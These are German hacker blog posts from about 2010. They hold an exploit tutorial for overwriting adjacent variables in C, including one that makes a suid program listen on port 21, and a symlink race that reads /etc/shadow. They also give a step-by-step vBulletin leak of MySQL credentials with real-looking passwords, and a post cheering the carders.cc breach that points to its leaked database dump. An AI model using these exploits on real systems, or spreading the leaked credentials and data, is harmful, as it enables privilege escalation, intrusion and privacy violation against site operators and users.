J0hn.X3r

Interplay of Web Security and Exploiting

Eine Art “Tutorial”, welches ich von “frechdachs1337″ zugesandt bekommen habe. Ganz nuetzlich, mag es euch daher nicht vorenthalten ;)

tutorial[0] – Einleitung

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.

Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns überrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann aber nicht bis zur RET kommt sondern
nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann, ja dann muss man kreativ werden!

tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D

  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
 
  int main (int argc, char **argv){
  	char h [] = "/bin/uname";
  	char text[100];
 
  	if(argc > 1)
  		strncpy(text, argv[1], 110);
  	printf("%s\n", h);
  	execl (h,h, (char *)0);
  	return 0;
  }

Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:

  ./test `perl -e 'printf "a"x110'`

aaaaaaaaaa

  ./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`

[LIST DIRECTORY EXECUTED]

Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.

tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D

Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.

  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <strings.h>
 
  int main(int argc, char **argv) {
  	int s,c, i;
  	socklen_t addr_len;
  	struct sockaddr_in addr;
  	char file_line[60];
  	char recvb[1024];
  	s = socket(AF_INET, SOCK_STREAM, 0);
  	if(atoi(argv[1]) < 1024)
  		return 1338;
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(atoi(argv[1]));
  	addr.sin_family = AF_INET;
 
  	FILE *fp = fopen("prefs.cfg", "r");
  	for(i = 0; i < 65; i++)
  		file_line[i] = getc(fp);
  	fclose(fp);
 
  	bind(s, (struct sockaddr*)&addr, sizeof(addr));
 
  	listen(s, 3);
 
  	addr_len = sizeof(addr);
  	for(;;){
  		c = accept(s, (struct sockaddr*)&addr, &addr_len);
  		recv(c, recvb, sizeof(recvb), 0);
  		printf("%s\n", recvb);
  		close(c);
  	}
  	close(s);
  	return 0;
  }

Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!

Für alle anderen Schwachmaten:

  ....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
  		file_line[i] = getc(fp);
  fclose(fp);

Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?

  ...
  addr.sin_addr.s_addr = INADDR_ANY;
	--->>addr.sin_port = htons(atoi(argv[1]));
	addr.sin_family = AF_INET;
  ...

In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:

  #include <string.h>
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  int main () {
  	struct sockaddr_in addr;
  	memset(&addr, 0x0, sizeof(addr));
  	addr.sin_addr.s_addr = INADDR_ANY;
  	addr.sin_port = htons(21);
  	addr.sin_family = AF_INET;
  	printf("%x\n", addr);
  	return 0;
  }

Dies gibt aus: 0×15000002
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.

Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.

  #include <stdio.h>
  #include <string.h>
 
  int main (){
  	char buffer[66];
  	memset(buffer, 'a', 64);
    buffer[60] = 0x02;
  	buffer[61] = 0x00;
  	buffer[62] = 0x00;
  	buffer[63] = 0x15;
  	FILE *fp = fopen("prefs.cfg", "w");
  	int i;
  	for(i = 0; i < 65; i++)
  		putc(buffer[i], fp);
  	fclose(fp);
  }

Hier unser finaler Log:

  ./filler
  ./victim 5555
  [PACKETE AUF PORT 21]

Ich hoffe dieser wichtige Abschnitt war aüßerst verständlich.

tutorial[3] – Nachwort

Ich verzichte.

Ist vllt schon dem ein oder anderen bekannt, aber ich find das echt interessant, dass einer großen und maechtigen Forensoftware wie vBulletin der Fehler unterlaufen kann, dass die MySQL Zugangsdaten fuer jede beliebige Person sichtbar werden kann.

Die Luecke wurde heute nachmittag veroeffentlicht und vBulletin reagierte mit einem Patch darauf.

Die faq.php wurde nur indirekt davon betroffen und dient eher als “Ausgabe”, da ein Fehler in den phrases dafuer verantwortlich war.

Wo befindet sich die Luecke?

Schauen wir uns mal die /install/vbulletin-language-de-du.xml Datei an und suchen nach “database_ingo” – was finden wir? Ah, interessant:

<phrase name="database_ingo" date="1277901074" username="Adduco" version="3.8.6"><![CDATA[Datenbank-Name: {$vbulletin->config['Database']['dbname']}<br />
Datenbank-Server: {$vbulletin->config['MasterServer']['servername']}<br />
Datenbank-Port: {$vbulletin->config['MasterServer']['port']}<br />
Datenbank-Benutzername: {$vbulletin->config['MasterServer']['username']}<br />
Datenbank-Kennwort: {$vbulletin->config['MasterServer']['password']}]]></phrase>

Es werden uns also unsere MySQL Datenbank Daten ausgegeben.

In der englischen Version sieht das ganze aehnlich aus /install/vbulletin-language.xml line 3701:

<phrase name="database_ingo" date="1271086009" username="Jelsoft" version="3.8.5"><![CDATA[Database Name: {$vbulletin->config['Database']['dbname']}<br />
Database Host: {$vbulletin->config['MasterServer']['servername']}<br />
Database Port: {$vbulletin->config['MasterServer']['port']}<br />
Database Username: {$vbulletin->config['MasterServer']['username']}<br />
Database Password: {$vbulletin->config['MasterServer']['password']}]]></phrase>

Wie nutze ich das nun aus?
Wir suchen uns ein Forum, welches von dieser Luecke betroffen ist, klicken oben auf “Hilfe”/”FAQ”, geben bei “Suchbegriffe” bzw. “Search Word(s):” dann “Datenbank” (bzw. database) ein und sehen dann, aha, erster Treffer:

Datenbank-Name: vbulletin
Datenbank-Server: localhost
Datenbank-Port: 3306
Datenbank-Benutzername: root
Datenbank-Kennwort: my4moo

Bzw. auf nem englischen Board:

Database Name: pro_astrogaming_com
Database Host: localhost
Database Port: 3306
Database Username: pro_astrogaming
Database Password: gitl0st

Screenshot

Auf das, was man damit anfangen kann, brauche ich denk ich nicht weiter drauf eingehen.

Wie schuetze ich mich davor?
Wie oben bereits gepostet durch einen Patch von der offiziellen vBulletin Seite, oder durch ein MySQL Query:

DELETE FROM `vb_phrase` WHERE `varname`='database_ingo'

Soviel dazu erstmal, wuensch euch noch eine schoene Woche :)

Nabend,

ihr glaubt gar nicht wie schnell einige Projekte “spurlos verschwinden” oder einfach down sind und bleiben. Hab letztens meine Linkliste links durchforscht und entdeckt das gut jeder 4te Link nicht mehr funktionsfaehig war – schade eigentlich.

Was gibts noch aktuelles zu berichten? Naja, komm grad leider nicht zum Bloggen, daher hat GregorSamsa den letzten fuer mich erstellt (Dankeschoen nochmal ;) ) da mein Laptop nun auch seit fast nem Monat einen defekten Bildschirm besitzt.

Ein neuer wird im Laufe der Woche bestellt und dann werd ich dort sicherlich viel Spaß & Zeit zum Bloggen finden und Dinge durchsetzen koennen, welche seit Monaten geplant waren ;)

Soviel dazu erstmal, ich lebe noch :D

So, auf Wunsch von p0nny hier mal ein Blogeintrag von mir.

Ich dachte, ich mache einfach mal ein kleines Paper zu einfachen Race Conditions,

vielleicht interessiert es ja jemanden…

/***************************
*                            *
*   Simple Race Conditions   *
*                            *
*   written by GregorSamsa   *
* gregor.samsa@jabber.ccc.de *
*                            *
*****************************/

0x01 {
 Ein kleines Vorwort:
 Hier mal ein kleines Paper zum Thema Race Conditions.
 Wieder eines der Paper die geschrieben wurden,
 um Anfängern das Leben zu erleichter ;) 

 Naja, nichts besonderes, aber vllt. regt es den ein oder
 anderen zum nachdenken an...
}

0x02 {
 Was sind Race Conditions?
 Race Conditions sind Situationen, in denen es darum geht,
 dass die Programmausführung von einem Programm solange braucht,
 dass der Angreifer oder ein zweites Programm diese Zeit ausnutzen
 kann, um den Ablauf des ersten Programmes zu ändern.

 Ich habe hierfür ein kleines C-Programm geschrieben, dass
 diesen Umstand simuliert.
}

0x03 {
 /** Simple Race Condition - Example **/
 #include <stdio.h>

 int main(int argc, char **argv)
 {
 FILE *f;
 char c;

 if(argc < 2) {
 printf("usage: %s <filename>\n", argv[0]);
 return 1;
 }

 if(strcmp(argv[1], "secretfilename") == 0) {
 printf("filename correct\nreading %s\n", argv[1]);
 }
 else {
 printf("wrong filename\npls w8 4 next try...\n");
 remove(argv[1]);
 sleep(5);
 }

 f = fopen(argv[1], "r");
 if(f == NULL) {
 printf("cannot open file...\nmaybe wrong filename...?\n");
 return 1;
 }

 while(!feof(f)) printf("%c", fgetc(f));

 fclose(f);

 return 0;
 }
}

0x04 {
 Überlegungen:
 Schauen wir uns dieses Programm an:
 Als erstes überprüft es den Dateinamen.
 Wir gehen einfach mal davon aus, dass wir
 "secretfilename" nicht aus dem Speicher lesen
 können. Das könnte ja auch eine sha-1 Prüfsumme
 des Dateinamens sein ;) 

 Wenn der Dateiname nicht richtig ist, wird die Datei
 gelöscht und es werden 5 Sekunden gewartet.

 Später wird versucht die Datei zu öffnen und zu lesen.
 Wenn der falsche Dateiname eingegeben wurde,
 ist die Datei gelöscht und kann nicht gelesen werden...
 Oder doch...?
}

0x05 {
 Angriff:
 Da wir secretfilename nicht wissen, probieren wir
 einfach mal so, das Programm zu starten:

 [samsa@hades ~]$ ./rc
 usage: ./rc <filename>
 [samsa@hades ~]$ ./rc test
 wrong filename
 pls w8 4 next try...
 <5 sek warten>
 cannot open file...
 maybe wrong filename...?

 Die Angriffsmöglichkeit besteht in der Wartezeit
 von 5 Sekunden.
 Die Datei wird erst gelöscht, _danach_ wird gewartet
 und dann versucht die Datei zu öffnen.
 Daher haben wir ganz locker Zeit, in diesen 5 Sekunden
 die Datei neu zu erstellen, damit die Ausgelesen wird:
 (In dem Beispiel gehen wir davon aus, dass wir ein
 SUID root Programm haben und /etc/shadow lesen wollen)

 [samsa@hades ~]$ ./rc test &    # im Hintergrund starten
 [1] 1337
 [samsa@hades ~]$ wrong filename
 pls w8 4 next try

 [samsa@hades ~]$ ln -s /etc/shadow test    # während der 5 Sekunden eine Datei anlegen,
die auf /etc/shadow verweist
 [samsa@hades ~]$ <inhalt von /etc/shadow>
 [1]+ Fertig            ./rc test
 [samsa@hades ~]$

 Ganz einfach, oder? :P
 Selbst wenn "test" besteht, wird diese Datei gelöscht,
 da der Dateiname falsch ist.
 Allerdings wird erst _danach_ 5 sek. gewartet,
 und wir erstellen in der Zeit eine Verknüpfung zu /etc/shadow,
 die dann von dem Programm ausgelesen wird. Easy, aren't it?
}

0x06 {
 Schlusswort:
 Das war kein Übermäßiges Tut und in ~45 min. geschrieben.
 Aber vllt. hilft es euch, Designfehler bei Programmabläufen
 zu verstehen und auszunutzen.

 Wer noch Fragen hat findet mich da:
 gregor.samsa@jabber.ccc.de
 irc.freenode.net #back2hack  http://back2hack.cc/
 irc.ircdotnet.net #free-hack  http://free-hack.com/
}

0x07 {
 oh shit, da greetz section... but meh like mah
 1337 friendz so meh hav 2 greetz them here!!!111
 J0hn.X3r - 4 u ;)
 BlackBerry - meh like u :-*
 h0yt3r - caaatz meow <3333
 Invisibility, Cheese, 0x30, aKiller - only: <3
 OpCodez - drugs r bad, but u r cool :P
 ...and kazuya, RedTiger, soulstoned, gesocks and teh
 other user from #back2hack and #free-hack i like u
}

/** n0p **/
                                                      |\___/|
              -=[ISSUE - NO 1]=-                     =) ^Y^ (=
                   -=[OF]=-                           \  ^  /
                                                       )=*=(
 ______________________________ __ ____________ _     /     \
|.-----.--.--.--.-----.-----.--|  |   ___ ___ _| ||   |     |
||  _  |  |  |  |     |  -__|  _  |  | . |   | . ||  /| | | |\
||_____|________|__|__|_____|_____|  |__,|_|_|___||  \| | |_|/\
|  | |                                   ______   |__//_// ___/ __ 
|  | |               .-----.--.--.-----.|      |.-----.--\_).--|  ||
|  | |               |  -__|_   _|  _  ||  ||  ||__ --|  -__|  _  ||
|  | |               |_____|__.__|   __||  ||  ||_____|_____|_____||
|_/   \__________________________|__|___|  ||  |___________________|
                                        |______|
         FEATURING             ~~~ |\                  A present
  Germanys next Darkmarket    ~~~ /()/              brought to you                                
         Carders.cc            ~~~`\|            by some happy ninjas

Dieser Text war am 19.05.2010 auf verschiedene Foren zu lesen und auch Seiten wie heise.de berichteten drueber.

Wer den vollstaendigen Inhalt sehen mag:

*klick*

Sieht ganz gut gemacht aus ;-)

Solche Leute verdienen respekt und nicht welche, die sich ein iPhone gecardet haben oder CCs verkaufen.

Doch war sowas zu erwarten?

Meiner Meinung nach aufjedenfall ja. Entweder ein Bust oder eben sowas.. Sie bekamen in letzter Zeit sowieso “zu viel Aufmerksamkeit” durch die Medien und Co – ARD und ZDF berichteten teilweise etwas ueber carders.cc und in der “scene” ist carders.cc zwar teilweise “beliebt”, was dark market angeht, doch von “richtigen” Leuten, die ihre Faehigkeiten woanders haben, wurde carders schon immer abgelehnt.

Stimme auch BuntspechT seiner Aussage zu:

Nun hoffe ich doch mal auf angemessene rechtliche Konsequenzen für die Betreiber und finanziellen Unterstützer!

Aus http://buntspecht.us/2010/05/19/carders-cc-exposed/

Noch am gleichen Tag veroeffentlichten die Betreiber auf twitter ein kleines Statement dazu:

http://twitter.com/carders_cc/status/14261947002

Liebe User,
Wie ihr wohl schon alle mitbekommen habt, wurde Carders Opfer einer Hackerattacke. Meiner Meinung nach ein dunkler Tag für die Szene, auch wenn sich jetzt viele schadensfroh im Keller einen ablachen. Leider wissen, oder verstehen diese Menschen nicht was für Konsequenzen so etwas haben kann.
Wie dem Deface-Text bereits zu entnehmen war, wurden einige IPs geloggt, dies jedoch nicht absichtlich sondern durch einen Fehler des (ehemaligen) Techmins Zagerus. An dieser Stelle ein großes Entschuldigung an die User, die vom IP Logging betroffen waren. Dieser Vorfall sollte euch jedoch daran erinnern, dass ihr immer mit einem VPN / Socks5 / VicSocks, wie auch immer, unterwegs sein solltet. Alle User sollten natürlich ihre Passwörter ihrer E-Mails, anderen Accounts, ICQ Nummern etc. ändern! Selbst wenn nun mit der gehackten Datenbank gegen uns ermittelt wird, was nach dem deutschen Gesetz eigentlich verboten sind, (aber die wahren Kriminellen sind ja ohnehin die Behörden) haben die größten Teil der User NICHTS zu befürchten. Von diesen Ermittlungen wird größtenteils das Team betroffen sein.

Nachdem KRON0S und ich uns einige Zeit unterhalten haben, ist uns klar geworden, dass wir uns die Tour von ein paar vorpubertären Hackerkindern die Stimmung nicht nehmen lassen (Es handlet sich hierbei btw. um die gleichen Hacker wie bei 1337-crew), und dass das nicht das Ende von Carders ist. Nein! Wir werden zurück kommen! Dies wird jedoch einige Tage in Anspruch nehmen, da wir 1. auf Heihachi umziehen 2. nach dem Hack verständlicherweise die Boardsoftware wechseln und 3. um zukünfige Hacks zu vermeiden, sehr viele Sicherheitstests durchführen werden. GGF. wird jedoch der Jabberserver schon früher laufen. Desweiteren wurde Zagerus nach der großen Panne bis auf weiteres suspendiert, und die Technik wurde einem erfahrenereren User übergeben. Wir sehen uns in einigen Tagen wieder!

THANAT0S im Namen der Administration

Aus http://nopaste.info/81779e1129_nl.html

Und spaeter hab ich einen Screenshot von einer eMail gefunden, welche ich euch nicht vorenthalten mag:

www.ImageBanana.net - 288xliv.jpg

Ein Backup der MySQL Datenbank wurde auch veroeffentlicht, welches ihr u.a. hier bekommen koennt, da die ganzen filehoster mirrors doch recht fix am deleten sind – macht aber vllt bei dem ein oder anderen probleme (habs noch nicht versucht).

Wer sich das Backup nicht laden will/kann, sondern einfach so schaun mag, was da lief, dort ist es online und alle internen Sektionen einsehbar:

http://carders.1.vg/index.php

Aktuell kann man sagen, dass sie mit ihrer “Rueckkehr” schon gegen heut Abend oder morgen rechnen…